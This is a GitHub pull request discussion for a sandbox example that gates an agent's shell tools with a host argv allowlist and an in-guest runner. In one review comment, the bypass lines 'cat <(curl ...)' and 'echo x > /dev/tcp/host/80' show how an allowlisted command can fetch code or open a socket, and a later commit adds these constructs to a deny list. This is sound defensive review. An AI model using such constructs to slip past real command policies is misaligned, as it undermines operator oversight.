Skip to content

examples: agent-host tool-policy BYOI template (#645) - #1219

Open
cgflag wants to merge 42 commits into
TencentCloud:masterfrom
cgflag:feat/agent-tool-allowlist-sandbox
Open

examples: agent-host tool-policy BYOI template (#645)#1219
cgflag wants to merge 42 commits into
TencentCloud:masterfrom
cgflag:feat/agent-tool-allowlist-sandbox

Conversation

@cgflag

@cgflag cgflag commented Jul 30, 2026

Copy link
Copy Markdown

Summary

#645 scenario template (tip updated): agent-host tool argv policy + BYOI image with real guest runner — same shelf as network-policy (egress), not another language runtime.

  • One directory examples/agent-tool-allowlist-sandbox/: Dockerfile + /usr/local/bin/cube-tool + host gate + deny/allow/limits/guest_runner/checkpoint/egress/fanout + unit tests + cluster smoke
  • Docs index (EN/ZH) registers it; quickstart keeps a pointer only
  • README now states resources + an explicit answer to the #1062 close notes

Addresses #1062 close notes

Close note How this PR answers
“Thin tool restriction on code-interpreter; not a brand-new example” Own OCI image + in-guest cube-tool re-check of tool-profile.txt + verify_template.py; product is host+guest tool policy, not a second sandbox-code tutorial
“No real-cluster screenshots/logs” Cluster evidence already on this PR (template tpl-ed31b31edc1c455b9d2db65d / demos green); host unittest 13 OK

Honest limits: host policy ≠ guest confinement; tool_agent_loop.py is fixed proposals, not an LLM.

Test plan

  • python -m unittest test_tool_allowlist.py -v
  • python tool_allowlist_limits.pyLIMITS_DEMO_OK
  • python tool_allowlist_deny.py
  • Build/register per README → python verify_template.pyTEMPLATE_VERIFY_OK
  • Optional cluster stack: guest_runner / allow / checkpoint / egress / fanout / loop

cgflag and others added 26 commits July 21, 2026 19:14
Demonstrate host-side tool allowlist gating before MicroVM execution,
with allow/deny paths and examples index registration.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…Cloud#645)

Wrap official sandbox-code with TOOL_ALLOWLIST_SANDBOX marker and
in-image allowlist file so the example has a buildable template path.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
Cover empty command, path-style binaries, case sensitivity, and
shlex-style first-token cases without requiring a sandbox.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645)

Add Dockerfile create-from-image flow and host-vs-tap enforcement
comparison table citing network-policy README.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645)

Use the bundled frontend because this Dockerfile only needs standard instructions. This prevents Docker Hub resolution from blocking checks while retaining the Tencent base image path.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
)

Preserve backslashes through shlex parsing so the unit test covers the explicit path-separator guard rather than only failing the name lookup.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…d#645)

Keep Dockerfile guest allowlist aligned with allowlist.py and provide a
single command that proves deny/unit/docker markers without a live sandbox.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…ud#645)

Explain the local verification gate and that allowlisted runs need
*.cube.app DNS even when the forwarded API health check succeeds.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645)

Reuse e2b-dev-sidecar so allowlisted commands and artifact readback work
on the QEMU host forwards without changing system DNS.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
Point to connect-existing-cluster Option D and record the verified
host E2E flow beside the guest/DNS path.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…oud#645)

Address reviewer feedback by removing AI-style comparison tables and
aligning with network-policy: one-line purpose, recommended template path,
then env and run.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645)

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645)

Show argv allow and Cube egress are orthogonal: create with allow_internet_access=False.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…ty (TencentCloud#645)

Default allowlist stays tool-only; enable_code_execution opts into python3. Artifacts use SDK files API; docs clarify capability gating vs isolation.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…tCloud#645)

Keep path/token checks in one place so the predicate and assert APIs cannot drift.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645)

Keep dedup, is_file, and load_dotenv on the same resolved path for clear intent.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…centCloud#645)

Document env_utils/quickstart drift and aiohttp convenience; sync Dockerfile via snippet; rename over-promising test; document verify_local knobs.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
Drop dead seen_paths dedup and redundant mock assertion; document custom allowlist interpreter bypass; ignore local .venv.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…entCloud#645)

Empty commands use the same AllowlistDenied shape; static deny checks parse AST so comments cannot false-fail.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…ntCloud#645)

Also add the standard license header to env_utils.py for consistency.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…ud#645)

Treat malformed quoting as allowlist deny; check success markers on stdout only; place the example next to other agent entries in tutorials.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645)

Address TencentCloud#1062 review: host argv gate is not a standalone example scenario;
ship deny/allow demos next to cmd.py and demote the old example directory.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
… denials (TencentCloud#645)

Host gate now rejects shell metacharacters and ships a host-only limits demo so readers see what argv policy does not cover.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…#645)

Reference propose→gate→MicroVM loop with mid-session deny, /health flat check, airgap curl probe, and commands-only artifacts.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…loud#645)

Lock the documented gate contract and non-goals with stdlib unittest; no cluster required.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…encentCloud#645)

Keep a short redirect for the old path; link gate, limits, tests, and reference tool loop.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
…ncentCloud#645)

Avoid TypeError on old python-dotenv with pathlib paths, and centralize SDK exit_code normalization so call sites cannot drift.

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
@cgflag

cgflag commented Jul 30, 2026

Copy link
Copy Markdown
Author

新一轮 bot:只修较严重项(aeb3c49

处理
load_dotenv(Path) 在旧 dotenv 上 TypeError requirementspython-dotenv>=0.17.0,并 str(path)
5 处 exit_code 转换易漂移 抽出 coerce_exit_code / exit_code_from_exc,各 demo 共用

未改:IFS hardening nit、单测 assertNotIn(''''') 建议。

Assisted-by: Cursor:Composer

# Exact line match against the profile (no substrings).
if ! grep -qxF -- "$tool" "$PROFILE"; then
echo "cube-tool: tool not in profile: ${tool}" >&2
exit 1

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggestion: use command -v "$tool" without -- for POSIX portability

The -- terminator after command -v is accepted by bash, dash, and busybox ash, but POSIX command does not require it to be recognized in -v mode. On a strictly POSIX-minimal /bin/sh, -- could be treated as the operand name to look up, causing command -v to always return empty and the wrapper to refuse all tools.

Since $tool is already validated against [A-Za-z0-9._-] in the preceding case statement, there's no injection concern from dropping the -- separator.

"cat",
"head",
"wc",
"sha256sum",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nit: inconsistent from __future__ import annotations

tool_allowlist.py uses PEP 585 generic syntax (frozenset[str]) without from __future__ import annotations, while tool_agent_loop.py and test_tool_allowlist.py both include the future import. This works on Python 3.9+ (the 3.10+ stated in README covers it), but adding the future import here too would:

  1. Keep all three modules consistent
  2. Guard against any accidental runtime annotation evaluation if this module grows in the future

Completely non-blocking — just a consistency polish.

cube-tool echo build-ok

cubemastercli tpl create-from-image \
--image <registry-or-local>/agent-tool-allowlist-sandbox:latest \

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Clarify: nothing listens on port 49983 / /health

The template registration command passes --probe-path /health for port 49983, but the Dockerfile only EXPOSEs the port — nothing inside the image actually serves that port or handles /health requests. If the platform's probe mechanism requires a successful response for template registration to complete, this may fail or timeout.

If the probe is informational / tolerated by the platform, consider noting that briefly so readers aren't confused when it doesn't return a meaningful health payload.

)

Assisted-by: Cursor:Composer
Co-authored-by: Cursor <cursoragent@cursor.com>
@cgflag

cgflag commented Jul 30, 2026

Copy link
Copy Markdown
Author

Bot follow-up (8a305cc)

Worth fixing / clarifying from the latest review:

  1. guest/cube-tool — dropped command -v -- / basename -- for broader POSIX /bin/sh portability.
  2. README EN/ZH + Dockerfile — clarified that probe 49983 /health hits envd from cubesandbox-base (inherited entrypoint); this image only EXPOSEs the port and does not add its own health server.

Skipped: IFS reset / empty-string assert nits; from __future__ import annotations already present in tool_allowlist.py.

Comment thread docs/guide/tutorials/examples.md Outdated
|---------|-------------|
| [Code Sandbox Quickstart](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | The most basic usage: create a sandbox, run Python code, execute shell commands, manage network policies, and more — all via the E2B SDK. |
| [Agent Tool Allowlist Sandbox](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/agent-tool-allowlist-sandbox) | BYOI toolbox image with in-guest `cube-tool` runner + host argv allowlist; stacks airgap/CIDR, pause/resume, and multi-sandbox fan-out (#645). |
| [Browser Sandbox (Playwright)](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/browser-sandbox) | Run a headless Chromium inside a MicroVM and control it remotely with Playwright via CDP. |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: table ordering suggestion

Since "Agent" (A) alphabetically precedes both "Code" (C) and "Browser" (B), consider moving this entry to the top of the table (before "Code Sandbox Quickstart") for consistency. The existing table has a weak first-letter alphabetical convention, and the A-prefixed entry fits best at the start.

Comment thread docs/zh/guide/tutorials/examples.md Outdated
| 示例 | 说明 |
|------|------|
| [代码沙箱快速入门](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/code-sandbox-quickstart) | 最基础的用法:创建沙箱、执行 Python 代码、运行 Shell 命令、管理网络策略等,全部通过 E2B SDK 完成。 |
| [Agent 工具白名单沙箱](https://github.com/tencentcloud/CubeSandbox/tree/master/examples/agent-tool-allowlist-sandbox) | BYOI 工具集镜像(含 guest `cube-tool`)+ 宿主机 argv 白名单;可叠加断网/CIDR、pause/resume、多沙箱扇出(#645)。 |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

建议:表格排序位置

与英文版一样,由于"Agent"(A)在字母序上排在"代码沙箱"(代)和"浏览器沙箱"(浏)之前,建议将新行移到表格最上方("代码沙箱快速入门"之前),以便与表格的近似字母序惯例保持一致。

[ "$#" -ge 1 ] || usage

tool=$1
shift

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor: the case pattern already rejects / and \ — the later basename check (around line 48-53) is a defense-in-depth guard

The case pattern on this line already rejects any input containing / or \, making the basename mismatch check at lines 48-53 unreachable for standard path-hijack scenarios. Consider adding a brief comment on lines 47-53 noting that this is defense-in-depth against subtler PATH manipulation (e.g., a wrapper script named echo appearing earlier in PATH than /bin/echo).

@cgflag

cgflag commented Jul 31, 2026

Copy link
Copy Markdown
Author

最终合入请求(以 tip 8a305cc 为准)

@fslongjin 请以当前分支 tip审阅;中间评论里「fold 进 quickstart / 仅 redirect」等旧定位已作废。

当前形态

内容
目录 examples/agent-tool-allowlist-sandbox/ 自包含(Dockerfile + guest cube-tool + host 门控 + demos + 单测 + 双语 README)
Docs EN/ZH examples 索引已登记;quickstart 仅保留指针
边界 host argv 策略 ≠ guest confinement;tool_agent_loop 是固定提案环,不是 LLM

对照关闭意见(#1062

  1. 不宜薄包装当新 example → tip 镜像内装真实 /usr/local/bin/cube-tool(对照 tool-profile.txtexec),构建期自测 deny bash
  2. 真集群证据 → 已在本 PR 评论贴出(模板 tpl-ed31b31edc1c455b9d2db65d / agent-tool-allowlist-v2;verify / guest_runner / allow / checkpoint / egress / fanout / loop 全绿

#645

硬门槛(可构建模板 + 可跑示例 + README + 索引)与鼓励项(pause/resume、CIDR egress、多沙箱 fan-out)均已覆盖。

请求

请考虑 merge。若还需改命名/目录/证据格式,直接点即可。

Assisted-by: Cursor:Composer

…notes

Lead with TencentCloud#645 scenario-template positioning (sibling to network-policy), explicit answer to thin-wrapper close reasons, and resource guidance.
@cgflag cgflag changed the title examples: self-contained agent-tool allowlist sandbox (#645) examples: agent-host tool-policy BYOI template (#645) Aug 1, 2026
@cgflag

cgflag commented Aug 1, 2026

Copy link
Copy Markdown
Author

@fslongjin#1062 关闭意见重对过一遍(tip 8987c47),请以当前 PR 正文 + tip为准审阅。

关闭意见 → 现状

  1. 不宜把薄门控当全新 example → 现为自包含 BYOI:镜像内 /usr/local/bin/cube-tool 对照 tool-profile.txtexec;产品定位与 network-policy 同层(平台控制面场景),不是第二份 sandbox-code 教程,也不是语言运行时。
  2. 缺真集群证据 → 本 PR 评论已贴模板 tpl-ed31b31edc1c455b9d2db65d / verify·guest_runner·checkpoint·egress·fanout·loop 全绿截图与日志。

#645 门槛

可构建模板 + 可跑示例 + README(含资源建议 / 已知限制)+ docs 索引;并覆盖 pause / CIDR egress / 多沙箱扇出。

若你仍认为该方向不适合进 examples/,请直接说期望落点(例如只进 docs tutorial / 关闭),我按维护者偏好改,不再来回翻定位。

# first-token check cannot be bypassed via ``echo ok; bash -c ...``.
# Parentheses / redirects are not listed: tools like ``python3 -c 'print(1)'``
# need ``()``, and residual redirect risk belongs with guest least-privilege.
_SHELL_META_CHARS: frozenset[str] = frozenset(

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

_SHELL_META_CHARS omits <, (, >, / — the characters that compose bash-only constructs. Since commands.run() executes the string through a shell (envd POST :49983/process, and the base image's user account defaults to /bin/bash), these slip past the gate while argv0 stays allowlisted:

  • cat <(curl -s https://example.com) — process substitution actually runs curl inside the guest; argv0 is cat, which is allowlisted.
  • echo x > /dev/tcp/host/80 — bash pseudo-device opens a TCP connection and sends data using only allowlisted echo.

The README's residual list covers echo … > file as "guest write" and cat < file as "input redirect", but not these two variants, which execute arbitrary commands / open sockets — exactly what the "host refuses illegal tools" claim is meant to stop. The shipped demos are safe because they run airgapped, but for a template whose whole point is agent tool policy, consider rejecting <( / /dev/tcp (or at minimum documenting them in the residuals list).

else:
raise SystemExit(f"expected deny for {name}, but gate accepted")

after_deny = health_sandbox_count()

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This "sandbox count unchanged through early denies" assertion is vacuous: CubeAPI/src/handlers/health.rs currently returns sandboxes: 0 unconditionally, so after_deny != baseline can never fire no matter what the gate does. The docstring lists "/health sandboxes count must stay flat" as a hardening property, but against the current CubeAPI it proves nothing. Fine to keep as a smoke check (and it'll become meaningful if CubeAPI ever reports real counts), but the claim is stronger than the check.


ARG DEBIAN_FRONTEND=noninteractive
# Optional: docker build --build-arg INSTALL_CURL=1 … (only for egress demos)
ARG INSTALL_CURL=0

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor accuracy nit: the base image ghcr.io/tencentcloud/cubesandbox-base:2026.16 is built from docker/Dockerfile.cube-base, which installs curl (apt-get install ... curl ...). So the "Skip apt unless INSTALL_CURL=1" comment here, the README's "Default build does not apt-install curl", and the "curl not in image → skip airgap probe" branches in tool_agent_loop.py / tool_allowlist_egress.py are effectively dead — curl is always present. Not a functional problem (the demos handle both cases), just reconcile the docs with reality.

## Resources

| Item | Suggestion |
|------|------------|

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Two nits here: (1) the demos actually write to /tmp (/tmp/agent_loop.txt, /tmp/allowlist_checkpoint.txt, /tmp/tool_out.txt), not /workspace, so the "demos write under /workspace" hint is inaccurate. (2) If a user follows this and does write to /workspace, it will fail: the base image's default command user is user (uid 1000, see docker/Dockerfile.cube-base), while COPY workspace/ /workspace/ creates a root-owned 0755 directory. Either chown/chmod /workspace in the Dockerfile or fix the doc.

…centCloud#645)

Deny process substitution and /dev/tcp|/dev/udp; chown /workspace; reconcile curl/health/docs with cubesandboxbot review.
@cgflag

cgflag commented Aug 1, 2026

Copy link
Copy Markdown
Author

Bot follow-up (cubesandboxbot 2026-08-01)

Addressed the serious / accuracy items from the latest review on tip:

Finding Action
Process substitution / /dev/tcp keep argv0 allowlisted Deny <( >( /dev/tcp/ /dev/udp/ in host gate + tests + limits demo
Resources said demos write /workspace (actually /tmp); /workspace root-owned Doc → /tmp; Dockerfile chown 1000:1000 /workspace
curl “not installed” narrative vs base image Docs/comments: base already has curl; INSTALL_CURL=1 defensive only
/health sandboxes claim too strong Softened to forward-compatible smoke (API currently returns 0)

Host unittest: 14 OK; LIMITS_DEMO_OK.

fi

# Refuse path hijacks if command -v returned something unexpected.
base=$(basename "$bin")

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This base=$(basename "$bin") / [ "$base" != "$tool" ] guard is effectively dead code and cannot detect the hijack its comment describes. After the case pattern above rejects any tool name containing /, \, or a leading ., command -v "$tool" can only return either a bare name (a shell builtin such as echo/pwd) or a path whose basename equals $tool — so $base != $tool never fires. The realistic hijack (a user-writable directory earlier in PATH containing an executable named like an allowlisted tool) keeps basename(...) == "$tool", so this check passes straight through it.

Since in-VM code execution already makes PATH hijacking moot, this isn't a security hole — but the comment overstates what the check does. Consider either removing the check and comment, or making it meaningful (e.g. verifying the resolved path is under a trusted directory like /usr/bin//bin, or invoking with a fixed PATH).


after_deny = health_sandbox_count()
print(f"\nhealth.sandboxes (after early denies): {after_deny}")
if after_deny != baseline:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This after_deny != baseline equality check can only false-fail on a shared cluster: if any other sandbox is created or destroyed between the two /health polls (e.g. a leftover sandbox from a previous demo run is reaped), the demo aborts with "sandbox count changed during denies" even though the gate behaved correctly. And as the comment below notes, CubeAPI currently returns sandboxes=0 unconditionally, so in the common case the check verifies nothing — it only ever risks a spurious failure. Consider relaxing it to after_deny > baseline (fail only if the count grew during the deny phase) or downgrading it to a printed warning.

extra_binaries: Iterable[str] | None = None,
allow_unsafe_allowlist_extension: bool = False,
) -> bool:
"""True if the command string is acceptable under the host gate."""

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

is_allowlisted() is documented and annotated as a boolean predicate, but it raises ValueError (instead of returning False) when extra_binaries is passed without allow_unsafe_allowlist_extension=True — the raise happens inside _resolve_allowed, before the membership check. This is a deliberate fail-loud design (locked in by test_extra_binaries_require_unsafe_flag and exercised by tool_allowlist_limits.py), but it means callers who treat is_allowlisted as a pure bool guard will be surprised by an exception rather than a False. Worth a sentence in the docstring so "not allowlisted" and "misconfigured call" are distinguishable to readers.

…tCloud#645)

Add toolbox-hello workload, single entry run.py, and nginx/pi-style README
(build → register → configure → run). Move advanced demos under extras/.
@cgflag

cgflag commented Aug 3, 2026

Copy link
Copy Markdown
Author

Reshape toward open-box template (happy path)

Addressing the #1062-style feedback that this should read like nginx/pi examples rather than a thin policy demo stack:

  1. Workload: image ships toolbox-hello (writes /workspace/out/hello.txt, prints WORKLOAD_OK); build-time self-check via cube-tool toolbox-hello.
  2. Single entry: python run.py → host deny → MicroVM → workload → artifact → guest deny → RUN_OK. verify_template.py is a thin alias.
  3. README: Build → Register → Configure → Run (+ resource table); advanced demos moved under extras/.

Tip: 85ba1c5. Host unit tests: 15 OK.


```bash
cd ..
python -m extras.tool_allowlist_limits # or:

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This documented command is broken. python -m extras.tool_allowlist_limits from the example root puts only the example root on sys.path, but the extras scripts do an absolute import _path (extras/_path.py). Since _path is not a top-level module there, this raises ModuleNotFoundError: No module named '_path'import _path searches sys.path, not the extras package path.

The script-direct form works because sys.path[0] becomes the script's own directory (extras/), and _path.py then inserts the example root for the tool_allowlist import. Suggest dropping the -m variant here (keep python extras/tool_allowlist_limits.py), or making the sys.path shim tolerant of both invocation styles (e.g. try: import _path; except ModuleNotFoundError: ...).

# Copyright (c) 2024 Tencent Inc.
# SPDX-License-Identifier: Apache-2.0

"""Backward-compatible entry: prefer ``python run.py`` (happy path)."""

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Naming/marker mismatch: this root-level verify_template.py is an alias of run.py and prints RUN_OK, while extras/verify_template.py is a different script that prints TEMPLATE_VERIFY_OK. The PR description's test plan says python verify_template.pyTEMPLATE_VERIFY_OK, which only holds for the extras/ copy — a reader at the example root sees RUN_OK. Likewise extras/README.md lists verify_template.py → TEMPLATE_VERIFY_OK while this README calls it "a thin alias of the same path". Consider renaming one of the two files (e.g. extras/verify_template.pyextras/verify_extras_template.py), or aligning the PR description / docs with the actual output of each.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants